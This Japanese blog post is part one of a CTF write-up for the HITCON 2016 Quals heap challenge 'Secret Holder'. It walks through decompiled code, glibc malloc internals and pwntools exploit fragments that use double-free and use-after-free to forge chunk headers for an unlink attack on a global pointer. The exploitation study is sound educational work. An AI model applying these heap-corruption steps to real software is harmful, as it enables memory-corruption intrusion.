読者です 読者をやめる 読者になる 読者になる

ヾノ*>ㅅ<)ノシ帳

技術ブログに見せかけて、ジャンル制限のないふりーだむなブログです。

CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 前編

CTF Exploit malloc

今週末はぼっちで過去問の研究をしてました。本エントリーはそれの成果報告です。 題材は、先週開催されたHITCON 2016 QualsよりSecret Holderです。 100点問題のくせに結構な手間がかかる問題ですが、良問だと思うのでみなさんに紹介します。

先にExploitの流れを図で示します。 前編はUnlink Attackまでです。

f:id:katc:20161016235657p:plain

キーワード

  • malloc(mmmap, sbrk)
    • fastbins
  • double-free
  • Use After Free (UAF)
  • Unlink Attack
  • stack smashing
    • stack canary
  • Return Oriented Programming (ROP)
  • GOT Overwrite
  • One-gadget RCE

環境・解くのに使ったもの

環境

% uname -r
4.7.6-1-ARCH
% pacman -Q glibc
glibc 2.24-2

GUI

  • Hopper

shell

  • readelf
  • objdump
  • strings
  • grep/egrep

exploit

  • python2+pwntools

debug

読者の前提

初期フェーズ

問題のバイナリはこちらから。

表層解析

x86-64バイナリで、strippedです。 static linked binaryではなさそうです。

[katc@K_atc SecretHolder]$ file SecretHolder
SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped

残念ながらNXビットが有効です、シェルコードを送る問題ではなさそうです。

[katc@K_atc SecretHolder]$ ~/bin/checksec.sh/checksec --file SecretHolder
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY FORTIFIED FORTIFY-able  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes 0   2 SecretHolder

動的解析その1

一通り動かしてみると、こんな感じになります。

[katc@K_atc SecretHolder]$ ./SecretHolder
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
1
Which level of secret do you want to keep?
1. Small secret
2. Big secret
3. Huge secret
2
Tell me your secret: 
big secret
1. Keep secret
2. Wipe secret
3. Renew secret
3
Which Secret do you want to renew?
1. Small secret
2. Big secret
3. Huge secret
2
Tell me your secret: 
big big secret
1. Keep secret
2. Wipe secret
3. Renew secret
2
Which Secret do you want to wipe?
1. Small secret
2. Big secret
3. Huge secret
2
1. Keep secret
2. Wipe secret
3. Renew secret
^C

秘密を大きさ別に管理できるプログラムのようです。 機能は次のとおりです。

  • keep: small, big, huge ごとに秘密を入力する
  • wipe: 秘密1つを消す
  • renew: 秘密1つを上書きする

秘密にフラグが入っていてそれを読み出す問題もありえますが、 フラグを読み出す処理がバイナリに含まれていないのでシェルを起動する問題と判断できます。

静的解析

Hopperにバイナリを食わせ、ルーティンや変数のラベルを付けなおしてデコンパイルし、読みやすく整形すると次のコードのようになります。

char* big_secret; // 0x6020a0
char* huge_secret; // 0x6020a8
char* small_secret; // 0x6020b0

int32_t holding_big_secret; // 0x6020b8
int32_t holding_huge_secret; // 0x6020bc
int32_t holding_smalll_secret; // 0x6020c0

function wipe_secret {
    var_8 = *0x28;
    puts("Which Secret do you want to wipe?");
    puts("1. Small secret");
    puts("2. Big secret");
    puts("3. Huge secret");
    memset(var_10, 0x0, 0x4);
    read(0x0, var_10, 0x4);
    rax = atoi(var_10);
    rax = rax;
    if (rax == 0x1) {
        rax = *small_secret;
        free(rax);
        *(int32_t *)holding_smalll_secret = 0x0;
    }
    if (rax == 0x3) {
        rax = *huge_secret;
        free(rax);
        *(int32_t *)holding_huge_secret = 0x0;
    }
    if (rax == 0x2) {
        rax = *big_secret;
        free(rax);
        *(int32_t *)holding_big_secret = 0x0;
    }
    rax = var_8 ^ *0x28;
    COND = rax == 0x0;
    if (!COND) {
            rax = __stack_chk_fail();
    }
    return rax;
}

function renew_secret {
    var_8 = *0x28;
    puts("Which Secret do you want to renew?");
    puts("1. Small secret");
    puts("2. Big secret");
    puts("3. Huge secret");
    memset(var_10, 0x0, 0x4);
    read(0x0, var_10, 0x4);
    rax = atoi(var_10);
    rax = rax;
    if ((rax == 0x1) && (*(int32_t *)holding_smalll_secret != 0x0)) {
            puts("Tell me your secret: ");
            read(0x0, *small_secret, 0x28);
    }
    if ((rax == 0x3) && (*(int32_t *)holding_huge_secret != 0x0)) {
            puts("Tell me your secret: ");
            read(0x0, *huge_secret, 0x61a80);
    }
    if ((rax == 0x2) && (*(int32_t *)holding_big_secret != 0x0)) {
            puts("Tell me your secret: ");
            read(0x0, *big_secret, 0xfa0);
    }
    rax = var_8 ^ *0x28;
    COND = rax == 0x0;
    if (!COND) {
            rax = __stack_chk_fail();
    }
    return rax;
}

function keep_secret {
    var_8 = *0x28; // stack canary
    puts("Which level of secret do you want to keep?");
    puts("1. Small secret");
    puts("2. Big secret");
    puts("3. Huge secret");
    memset(var_10, 0x0, 0x4);
    read(0x0, var_10, 0x4);
    rax = atoi(var_10);
    if (rax == 0x1) {
        if (*(int32_t *)holding_smalll_secret == 0x0) {
            *small_secret = calloc(0x1, 0x28);
            *(int32_t *)holding_smalll_secret = 0x1;
            puts("Tell me your secret: ");
            read(0x0, *small_secret, 0x28);
        }
    }
    if (rax == 0x3) {
        if (*(int32_t *)holding_huge_secret == 0x0) {
            *huge_secret = calloc(0x1, 0x61a80);
            *(int32_t *)holding_huge_secret = 0x1;
            puts("Tell me your secret: ");
            read(0x0, *huge_secret, 0x61a80);
        }
    }
    if (rax == 0x2) {
        if (*(int32_t *)holding_big_secret == 0x0) {
            *big_secret = calloc(0x1, 0xfa0);
            *(int32_t *)holding_big_secret = 0x1;
            puts("Tell me your secret: ");
            read(0x0, *big_secret, 0xfa0);
        }
    }
    rax = var_8 ^ *0x28;
    COND = rax == 0x0;
    if (!COND) {
            rax = __stack_chk_fail();
    }
    return rax;
}

void alarm_handler { // 0x400c68
    puts("Timeout!");
    exit(0x1);
    return;
}


function set_alarm {
    rax = *stdout;
    setvbuf(rax, 0x0, 0x2, 0x0);
    signal(0xe, 0x400c68);
    rax = alarm(0x3c); // 60 sec
    return rax;
}


function main {
    set_alarm();
    puts("Hey! Do you have any secret?");
    puts("I can help you to hold your secrets, and no one will be able to see it :)");
    goto loc_400cf7;

loc_400cf7:
    do {
            do {
                    puts("1. Keep secret");
                    puts("2. Wipe secret");
                    puts("3. Renew secret");
                    memset(var_10, 0x0, 0x4);
                    read(0x0, var_10, 0x4);
                    rax = atoi(var_10);
                    if (rax != 0x2) {
                        break;
                    }
                    wipe_secret();
            } while (true);
            if (rax != 0x3) {
                break;
            }
            renew_secret();
    } while (true);
    if (rax == 0x1) {
            keep_secret();
    }
    goto loc_400cf7;
}

次のことが分かります。

  • 60秒のアラームが設定されており、タイムアウトするとプログラムが終了する
    • 手元で動かすときはパッチでなんとかする(→パッチ編)
  • small, big, huge のバッファのサイズはそれぞれ 0x28, 0xfa0, 0x61a80 で、hugeはsbrk()で確保されないチャンクにありそう(?)
    • そのように判断したのはhugeのallocateサイズがバカでかいから
    • チャンク2つではどうしようもないのでなんとかせねば
  • systemがpltに無いので、Exploit後半でlibcのベースアドレスのリークが必要
    • libc.soが配布されてないが、他にいい方法があるのだろうか?
  • keepではそのサイズの秘密を保持しているかどうかの変数(holdingなんちゃら)の値が0、renewではそれが1である必要がある。
  • wipeではsmall, big, hugeを自由にwipeできる上に、ポインタをNULLで上書きしない(自明なUse After Free)

また、.bssの変数は次の配置になっていることが分かります。

address name
0x602090 stdout
0x6020a0 big_secret
0x6020a8 huge_secret
0x6020b0 small_secret
0x6020b8 holding_big_secret
0x6020bc holding_huge_secret
0x6020c0 holding_small_secret

手詰まり感が出てきたので模索フェーズに入ります。

パッチ編

タイムアップを遅くするのは、こんなコードで実現できます。

BIN = "./SecretHolder"
PATCHED_BIN = BIN + ".patched"
e = ELF(BIN)
if not os.path.exists(PATCHED_BIN):
    e = ELF(BIN)
    e.asm(0x400cb1, 'mov edi,0xffffff')
    e.save(PATCHED_BIN)
    os.system("chmod +x %s" % PATCHED_BIN)
    log.info("patched binary")
    exit()

触ったアセンブリはここです。

set_alarm:
0000000000400c81         mov        rbp, rsp
0000000000400c84         mov        rax, qword [ds:stdout]
0000000000400c8b         mov        ecx, 0x0                                    ; argument "size" for method j_setvbuf
0000000000400c90         mov        edx, 0x2                                    ; argument "type" for method j_setvbuf
0000000000400c95         mov        esi, 0x0                                    ; argument "buf" for method j_setvbuf
0000000000400c9a         mov        rdi, rax                                    ; argument "stream" for method j_setvbuf
0000000000400c9d         call       j_setvbuf
0000000000400ca2         mov        esi, 0x400c68                               ; argument "func" for method j_signal
0000000000400ca7         mov        edi, 0xe                                    ; argument "sig" for method j_signal
0000000000400cac         call       j_signal
0000000000400cb1         mov        edi, 0x3c                                   ; argument "seconds" for method j_alarm
0000000000400cb6         mov        eax, 0x0
0000000000400cbb         call       j_alarm
0000000000400cc0         pop        rbp
0000000000400cc1         ret        
                        ; endp

便利gdbコマンドの準備

メモリをダンプするxコマンドを叩きまくるのはだるいです。 メモリ構造は決まっていて、それをmallocのチャンクとして把握してますから、 pritty printするスクリプトを書くと捗ります。
ついでに大域変数のアドレスを覚えるのはだるいので変数でエクスポートするのも手です。
# gdbが64ビットのアドレスをうまく扱ってくれないのなんとかならへんの?

set $big_secret = 0x6020a0
set $huge_secret = 0x6020a8
set $small_secret = 0x6020b0
set $holding_big_secret = 0x6020b8
set $holding_huge_secret = 0x6020bc
set $holding_small_secret = 0x6020c0

set $mygets = 0x4009f9

define debug

    printf "holding (small, big, huge) secret = (%d, %d, %d)\n", *$holding_small_secret, *$holding_big_secret, *$holding_huge_secret

    if *(long long*)$small_secret != 0
        printf "small_secret malloced at %#x\n", *$small_secret
        # x/4xg *$small_secret - 16
        printf "  prev_size = %#16lx\n", *(*((long long*)$small_secret) - 16)
        printf "  size      = %#16lx\n", *(*((long long*)$small_secret) - 8)
        printf "  fd        = %#16lx\n", *(*((long long*)$small_secret) + 0)
        printf "  bk        = %#16lx\n", *(*((long long*)$small_secret) + 8)
        printf "  content   = %s\n", *$small_secret
    end
    
    if *(long long*)$big_secret
        printf "big_secret malloced at %#x\n", *$big_secret
        # x/4xg *$big_secret - 16
        printf "  prev_size = %#16lx\n", *(*((long long*)$big_secret) - 16)
        printf "  size      = %#16lx\n", *(*((long long*)$big_secret) - 8)
        printf "  fd        = %#16lx\n", *(*((long long*)$big_secret) + 0)
        printf "  bk        = %#16lx\n", *(*((long long*)$big_secret) + 8)
        printf "  content   = %s\n", *($big_secret)
    end

    if *(long long*)$huge_secret 
        printf "huge_secret malloced at %#x\n", *(long long*)$huge_secret
        # x/4xg *(long long*)$huge_secret - 16
        printf "  prev_size = %#16lx\n", *(*((long long*)$huge_secret) - 16)
        printf "  size      = %#16lx\n", *(*((long long*)$huge_secret) - 8)
        printf "  fd        = %#16lx\n", *(*((long long*)$huge_secret) + 0)
        printf "  bk        = %#16lx\n", *(*((long long*)$huge_secret) + 8)
        printf "  content   = %s\n", *((long long*)$huge_secret)
    end

end

スクリプトファイルはgdb起動時に-xオプションで渡してください。

模索フェーズ

mallocの仕組みをうまく使って、hugeがsmallやbigと同じページに来るようにしたいところです。 ここで簡単な実験をしました(wandbox)。 まず次のコードを書きました。

#include <stdio.h>
#include <stdlib.h>

// 元ネタ:HITOCON 2016 Quals - Secret Holder (Pwn100)

int main() {
    void* mapped;
    puts("small malloc ");
    mapped = malloc(0x20);
    printf("allocated at %#x\n", mapped);
    free(mapped);

    // main+66
    puts("1st huge malloc ");
    mapped = malloc(0x61a80);
    printf("allocated at %#x\n", mapped);
    free(mapped); // main+119
    
    // main+129
    puts("2nd huge malloc");
    mapped = malloc(0x61a80);
    printf("allocated at %#x\n", mapped); // main+165
    free(mapped); // main+177
    
    return 0;
}

これをコンパイルし実行すると次の結果になります。

small malloc 
allocated at 0x1d9d010
1st huge malloc 
allocated at 0x5916d010
2nd huge malloc
allocated at 0x1d9d010

# allocated to な気がしてきたゾ

気づきましたか?hugeに相当するチャンクがsmallの場所に確保されました! これは使えるぞい。

もう少しこの挙動を追っていきます。 システムコールをトレースした結果が次です。

% strace ./test
execve("./test", ["./test"], [/* 54 vars */]) = 0
brk(NULL)                               = 0x203d000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=266935, ...}) = 0
mmap(NULL, 266935, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fc59d174000
close(3)                                = 0
open("/usr/lib/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\3\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1951744, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc59d172000
mmap(NULL, 3791152, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc59cbf6000
mprotect(0x7fc59cd8b000, 2093056, PROT_NONE) = 0
mmap(0x7fc59cf8a000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x194000) = 0x7fc59cf8a000
mmap(0x7fc59cf90000, 14640, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fc59cf90000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7fc59d173400) = 0
mprotect(0x7fc59cf8a000, 16384, PROT_READ) = 0
mprotect(0x600000, 4096, PROT_READ)     = 0
mprotect(0x7fc59d1b6000, 4096, PROT_READ) = 0
munmap(0x7fc59d174000, 266935)          = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
brk(NULL)                               = 0x203d000
brk(0x205e000)                          = 0x205e000
write(1, "small malloc \n", 14small malloc 
)         = 14
write(1, "allocated at 0x203d420\n", 23allocated at 0x203d420
) = 23
write(1, "1st huge malloc \n", 171st huge malloc 
)      = 17
mmap(NULL, 401408, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc59d110000
write(1, "allocated at 0x9d110010\n", 24allocated at 0x9d110010
) = 24
munmap(0x7fc59d110000, 401408)          = 0
write(1, "2nd huge malloc\n", 162nd huge malloc
)       = 16
brk(0x20bf000)                          = 0x20bf000
write(1, "allocated at 0x203d420\n", 23allocated at 0x203d420
) = 23
exit_group(0)                           = ?
+++ exited with 0 +++

hugeの1回目のmallocではmmmap()が発行されましたが、2回目ではbrk()が使われています。

次にmmap()とsbrk()の分かれ目をお勉強します。 mallocの日本語資料はmalloc(3))のメモリ構造が秀逸だと思います。

sYSMALLOc()の動きについて簡単に説明します。ここではmain_arenaでないarenaの場合の説明については除きます。 要求サイズnbがmp_.mmap_threshold以上の場合、mmap()で領域の確保を行います。この部分の説明は別章「6. mmapped chunkの確保、解放」にて行います。nbがmp_.mmap_threshold未満の場合ヒープ領域を拡張します。次の式で拡張サイズを算出します。
nb + mp_.top_pad + MINSIZE これよりav->topのサイズを引いた(未使用領域も考慮した)サイズを拡張サイズとします。更にこのサイズをページサイズに換算します。この様にして求めたサイズでsbrk()をコールしてヒープ領域を拡張します。得られた領域をav->topに設定します。この中からnbのchunkを切り出しそのアドレスをリターンします。メモリプールがない状態でsYSMALLOc()が呼ばれた場合も同様の流れでメモリプールの生成が行われます。ただメモリプールの先頭を8バイト境界になる様に調整する所が異なります。そのアドレスがav->topとして設定されます。 public_mALLOc()に戻った後、arenaのロックを解除し得られたアドレスをコール側に戻します。

これによると、要求サイズがthresholdを超えるかどうかでmmap()が発動するかどうか決まるようです。 もしこのthresholdが固定値だったら、無事終了😇になってしまいそうです。手詰まりになってしまった根本的な原因がここにありました。

thresholdの更新に気をつけながらglibcソースコードを読解して実験での動作の裏付けします。 malloc.cを見ると、 「要求サイズnbがmp_.mmap_threshold以上の場合、mmap()で領域の確保を行います」は次のコード①、②で裏付けられます。

2272   /*
2273      If have mmap, and the request size meets the mmap threshold, and
2274      the system supports mmap, and there are few enough currently
2275      allocated mmapped regions, try to directly map this request
2276      rather than expanding top.
2277    */
2278 
2279   if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&
2280       (mp_.n_mmaps < mp_.n_mmaps_max)) ①
2281     {
2282       char *mm;           /* return value from mmap call*/
2283 
2284     try_mmap:
2285       /*
2286          Round up size to nearest page.  For mmapped chunks, the overhead
2287          is one SIZE_SZ unit larger than for normal chunks, because there
2288          is no following chunk whose prev_size field could be used.
2289 
2290          See the front_misalign handling below, for glibc there is no
2291          need for further alignments unless we have have high alignment.
2292        */
2293       if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
2294         size = (nb + SIZE_SZ + pagemask) & ~pagemask;
2295       else
2296         size = (nb + SIZE_SZ + MALLOC_ALIGN_MASK + pagemask) & ~pagemask;
2297       tried_mmap = true;
2298 
2299       /* Don't try if size wraps around 0 */
2300       if ((unsigned long) (size) > (unsigned long) (nb))
2301         {
2302           mm = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0)); ②

thresholdが更新されることは__libc_free()から分かります。 mmapで確保されたチャンクではチャンクのサイズが現在のthresholdよりも大きいときに、 mp_.mmap_threshold = chunksize (p) すなわちthresholdの更新処理が走ります。 実験のコードでは1回目のhugeのfree()のあとに更新があったため、2回目ではsbrk()が起こり、smallと同じページに確保されるようになったと考えられます。

2907 void
2908 __libc_free (void *mem)
2909 {
2910   mstate ar_ptr;
2911   mchunkptr p;                          /* chunk corresponding to mem */
2912 
2913   void (*hook) (void *, const void *)
2914     = atomic_forced_read (__free_hook);
2915   if (__builtin_expect (hook != NULL, 0))
2916     {
2917       (*hook)(mem, RETURN_ADDRESS (0));
2918       return;
2919     }
2920 
2921   if (mem == 0)                              /* free(0) has no effect */
2922     return;
2923 
2924   p = mem2chunk (mem);
2925 
2926   if (chunk_is_mmapped (p))                       /* release mmapped memory. */
2927     {
2928       /* see if the dynamic brk/mmap threshold needs adjusting */
2929       if (!mp_.no_dyn_threshold
2930           && p->size > mp_.mmap_threshold
2931           && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
2932         {
2933           mp_.mmap_threshold = chunksize (p);
2934           mp_.trim_threshold = 2 * mp_.mmap_threshold;
2935           LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
2936                       mp_.mmap_threshold, mp_.trim_threshold);
2937         }
2938       munmap_chunk (p);
2939       return;
2940     }
2941 
2942   ar_ptr = arena_for_chunk (p);
2943   _int_free (ar_ptr, p, 0);
2944 }

チャンクヘッダ操作用のバッファの確保(+double-free)

後のUAFで幾つかのfree済みのチャンクを書き換えたり、偽のチャンクを作ったりできる余裕ができるように、 攻撃用のバッファはhugeとします。 まず、模索フェーズで判明した挙動を使ってhuge_secret==small_secretとなるような操作をします。 下のコードのkeep(huge, "huge = small")までがその手順です。
# 関数定義は最後のパートに掲載するExploitコードで確認してください。操作は文字通りです。

最後の仕上げはsmallのdouble-freeです。 double-freeは一度確保したチャンクを2回freeできる状態にあるようなバグを指します。 一度freeしたのにまだその場所を指すようなポインタが存在するために2度めのfreeが可能なのです。 wipe(small)によって、hugeが専有していたメモリが解放されます(huge_secret==small_secretなのでwipe(huge)と同等。ただし、holding_huge_secretが0にならないというおまけ付き)。 後でhugeがあった場所にsmallやbigをmallocさせることができるようになります。
wipe(huge)でも似たようなことができますが、hugeを通してヒープを書き換えることができなくなるので、これはノーチャンです。)

keep(huge, "") # mmap()
wipe(huge)     # free()

"""chunks
ps = prev_size
-- H ----  -- S ------
(ps = ?)   (ps = ?)
size=      size = 0x30
"huge"     "small"
           -----------
           -- B ------
           (ps = 0x30)
           size = 0xfa0 | 1
           "big"
---------  -----------
"""

"""double-free"""
keep(small, "small")
wipe(small)                 # first free(S)
keep(huge, "huge = small")  # sbrk(), make H
wipe(small)                 # second free(S)

参考までに、最後のwipe(small)をした場合、しなかった場合で、 上のコードの続きでkeep(small), keep(big)した場合のチャンク内容をこの順に示します。

gdb-peda$ debug
holding (small, big, huge) secret = (1, 1, 1)
small_secret malloced at 0xe19010
  prev_size =                0
  size      =             0x31
  fd        =       0x73737373
  bk        =              0xa
  content   = ssssssss

big_secret malloced at 0xe19040
  prev_size =                0
  size      =            0xfb1
  fd        =       0x62626262
  bk        =              0xa
  content   = bbbbbbbb

huge_secret malloced at 0xe19010
  prev_size =                0
  size      =             0x31
  fd        =       0x73737373
  bk        =              0xa
  content   = ssssssss
gdb-peda$ debug
holding (small, big, huge) secret = (1, 1, 1)
small_secret malloced at 0x6b2aa0
  prev_size =                0
  size      =             0x31
  fd        =       0x73737373
  bk        =              0xa
  content   = ssssssss

big_secret malloced at 0x6b2ad0
  prev_size =                0
  size      =            0xfb1
  fd        =       0x62626262
  bk        =              0xa
  content   = bbbbbbbb

huge_secret malloced at 0x651010
  prev_size =                0
  size      =          0x61a91
  fd        =       0x65677568
  bk        =       0x6c6c616d
  content   = huge = small

Use After Freeは解放済みのメモリ領域を書き換える攻撃です。 ここでは未使用チャンクのヘッダを書き換えることを目標にします。 これにより、Unlink Attack(※後述)を発動することができます。 さらにUnlink AttackからのGOT Overwriteを目論んでいます。

このフェーズは勉強になるしふくろくん方式で進めていきます。

fastbinsの準備

hugeに対して、smallが少し下、bigがsmallの直下にくると、renew(huge)によってsmallとbigのチャンクヘッダを書き換えることができます。
今は、smallとbigのそのような配置を実現するような手順を考えます。

fastbinsでは、要求サイズが小さい時に取り出されている未使用チャンクのリストです。 LIFOである点がミソです。
もともと隣接していたサイズが0x30の2つのチャンクA,Bがこの順にfastbinsに繋がったらどうなるでしょうか? 次のmalloc(0x28);では最後に繋がったチャンクBが返ってきます。 そしてBはAに対して0x30だけアドレスが下にあります。さらに、Aがhugeと同じアドレスだった場合は…そうです、Bはhugeに対して少し下に来ますね。これは使えるぞい。
ということで、これまでの手順のコードがこれです。

"""fastbins chunks"""
keep(small, "s"*8)
keep(big, "b"*8)
raw_input('Press Enter to continue: ')
renew(huge, ''.join([
    "S" * 0x28,             # content of S
    p64(0x30 | 1),          # fake size for B; there're two 30 bytes chunks
    "B" * 0x28,             # content of B
    p64(0x1919 | 1)         # fake in-use chunk size (decide "size" by yourself)
    ]))
wipe(small) # fastbins -> small
wipe(big) # fastbins -> small -> big

Unlink Attackの説明は、bataさんのkatagaitai勉強会資料が秀逸です。 基本的な説明はそのスライドに譲ります。

f:id:katc:20161016235732p:plainf:id:katc:20161016235745p:plainf:id:katc:20161016235751p:plainf:id:katc:20161016235802p:plainf:id:katc:20161016235818p:plain

ここで補足すべきことは、

  • 【今回は】P2はチャンクヘッダ上では未使用で(PREV_INUSE = 0)、free(P)する【※スライドと逆】
  • x86-64では、メンバのビット幅は8バイ
  • X-0x8はX-0x10, X-0xCはX-0x18と読み替える

ということです。スライドで分かりにくい、Unlink Attack後にXがX-0xCを指す理由は後で解説します。

ではUse After Freeを今回の問題に適用した場合で話を進めます。 「アドレス的にPの直前のメモリP2が利用中だったとする」は隣接したsmallとbigのことになります。 今回はwipe(big) (=free(big))によりUnlink(Unlinkの意味は後述)します。

XはP2を指していなければなりません。 といことで、しふくろくん方式ではXはsmall_secretになります。
# 後述のfastbinを使わない解法では、Xはhuge_secretでもいいですが、後々これは微妙です。理由は余談で話します。
スライド76の時点では、X(small_secret)はP(=big)を指しています。P2はsmallに当たります。

スライド77のタイミングで、hugeからP2, Pを次のように書き換えます。

  • P2のfd/bkメンバはUnlink Attackで使う。fdがX-0x18、bkがX-0x10を指すような値にする
  • P2の残りは適当にパディング
  • Pのprev_sizeはP2の正しいサイズの0x30にしておく
  • P2が未使用であるかのように見せる(PREV_INUSE = 0)ためにPのsizeメンバの値を0x30 & ~PREV_INUSE(=0x30)とする
  • Pの中身はどうでもいい(ので何も書き換えない)

というわけでコードはこうなります。

"""unlink attack"""
# X = small_secret
keep(small, "s"*8)
keep(big, "b"*8)
renew(huge, ''.join([
    '\0' * 0x30,                # "small" is allocated to huge+0x30 (fastbins is LIFO)
                                # we can manipulate "small" chunk header with huge 
    # P2
    p64(0),                     # prev_size
    p64(0xfa0 | 1),             # size
    p64(small_secret - 0x18),   # fd
    p64(small_secret - 0x10),   # bk
    '\0' * (0xfa0 - 0x20),
    # P                        # "big" is allocated to huge+0x30+0xfa0 (under B)
    p64(0xfa0),                 # prev_size
    p64(0xfb0 & ~1),            # size
    ]))
wipe(big)                       # free(P) => unlink atack (X = X-0x18)

P2のfd/bkを書き換えてうまくいく裏付けをmalloc.cに求めよう。 Unlinkというものはmalloc_consolidateと呼ばれる処理で呼ばれます。 malloc_consolidateについては、例の神資料の説明を借ります。

ではmalloc_consolidate()の説明です。解放されたchunkの内max_fast以下のサイズのものは無条件にfastbinsに登録される為、大きなサイズになり得る領域を分断しているかもしれません。malloc_consolidate()ではfastbinsに登録された全chunkをこのリストから削除します。

この隣接した未使用チャンクの結合処理で呼ばれるのがUnlinkです。 該当のソースコードはこちらです。今回の条件では①、②、③がポイントです(おそらく)。

4100 static void malloc_consolidate(mstate av)
4101 {
4102   mfastbinptr*    fb;                 /* current fastbin being consolidated */
4103   mfastbinptr*    maxfb;              /* last fastbin (for loop control) */
4104   mchunkptr       p;                  /* current chunk being consolidated */
4105   mchunkptr       nextp;              /* next chunk to consolidate */
4106   mchunkptr       unsorted_bin;       /* bin header */
4107   mchunkptr       first_unsorted;     /* chunk to link to */
4108 
4109   /* These have same use as in free() */
4110   mchunkptr       nextchunk;
4111   INTERNAL_SIZE_T size;
4112   INTERNAL_SIZE_T nextsize;
4113   INTERNAL_SIZE_T prevsize;
4114   int             nextinuse;
4115   mchunkptr       bck;
4116   mchunkptr       fwd;
4117 
4118   /*
4119     If max_fast is 0, we know that av hasn't
4120     yet been initialized, in which case do so below
4121   */
4122 
4123   if (get_max_fast () != 0) {
4124     clear_fastchunks(av);
4125 
4126     unsorted_bin = unsorted_chunks(av);
4127 
4128     /*
4129       Remove each chunk from fast bin and consolidate it, placing it
4130       then in unsorted bin. Among other reasons for doing this,
4131       placing in unsorted bin avoids needing to calculate actual bins
4132       until malloc is sure that chunks aren't immediately going to be
4133       reused anyway.
4134     */
4135 
4136     maxfb = &fastbin (av, NFASTBINS - 1);
4137     fb = &fastbin (av, 0);
4138     do {
4139       p = atomic_exchange_acq (fb, 0);
4140       if (p != 0) {
4141     do {
4142       check_inuse_chunk(av, p);
4143       nextp = p->fd;
4144 
4145       /* Slightly streamlined version of consolidation code in free() */
4146       size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
4147       nextchunk = chunk_at_offset(p, size); ①
4148       nextsize = chunksize(nextchunk);
4149 
4150       if (!prev_inuse(p)) { ②
4151         prevsize = p->prev_size;
4152         size += prevsize;
4153         p = chunk_at_offset(p, -((long) prevsize));
4154         unlink(p, bck, fwd); ③
4155       }
4156 

スライド80のタイミングでXの値が変わります。 どうしてX-0xC(X-0x18)を指すことになるのかを順に追っていきます。 まず、Pのfd/bkはXの方を指していますから、mallocから見て、未使用のチャンクリストはX->P2->Xのように見えます。 次に、PからP2のサイズ(Pのチャンクヘッダのprev_size)だけ引かれるため、①で、free(P)だった話が、free(p2)の話にすり替わります。 PでPREV_INUSEを0にしたので②はtrueになります。 最後に、③でUnlink(P2)が走ります。 ここまでがスライド79の内容です。

ではスライド80を見ます。 Unlink(P2)で何が起こるのかをmalloc.cで同様に追います。 Unlinkはunlinkというマクロで次のように定義されています。

1407 #define unlink(P, BK, FD) {                                            \
1408     FD = P->fd;                                   \
1409     BK = P->bk;                                   \
1410     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             \
1411       malloc_printerr (check_action, "corrupted double-linked list", P);      \
1412     else {                                    \
1413         FD->bk = BK;                                  \
1414         BK->fd = FD;                                  \
1415         if (!in_smallbin_range (P->size)                      \
1416             && __builtin_expect (P->fd_nextsize != NULL, 0)) {            \
1417             assert (P->fd_nextsize->bk_nextsize == P);                \
1418             assert (P->bk_nextsize->fd_nextsize == P);                \
1419             if (FD->fd_nextsize == NULL) {                    \
1420                 if (P->fd_nextsize == P)                      \
1421                   FD->fd_nextsize = FD->bk_nextsize = FD;             \
1422                 else {                                \
1423                     FD->fd_nextsize = P->fd_nextsize;                 \
1424                     FD->bk_nextsize = P->bk_nextsize;                 \
1425                     P->fd_nextsize->bk_nextsize = FD;                 \
1426                     P->bk_nextsize->fd_nextsize = FD;                 \
1427                   }                               \
1428               } else {                                \
1429                 P->fd_nextsize->bk_nextsize = P->bk_nextsize;             \
1430                 P->bk_nextsize->fd_nextsize = P->fd_nextsize;             \
1431               }                                   \
1432           }                                   \
1433       }                                       \
1434 }

今関係ある処理に絞るとこんなコードとして読み取れます。

1407 #define unlink(P, BK, FD) {                                            \
1408     FD = P->fd;                                   \
1409     BK = P->bk;                                   \
1410     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             \
1411       malloc_printerr (check_action, "corrupted double-linked list", P);      \
1412     else {                                    \
1413         FD->bk = BK;                                  \
1414         BK->fd = FD;                                  \
1433       }                                       \
1434 }

実際に値を当てはめて挙動を見てみましょう。

#define unlink(P2, X, X) {                                            \
    FD = P2->fd = X-0x18;                                   \
    BK = P2->bk = X-0x10;                                   \
    if (__builtin_expect (FD->bk != P2 || BK->fd != P2, 0))             \
      malloc_printerr (check_action, "corrupted double-linked list", P);      \
    else {                                    \
        X = X-0x10;                                  \
        X = X-0x18;                                  \
      }                                       \
}

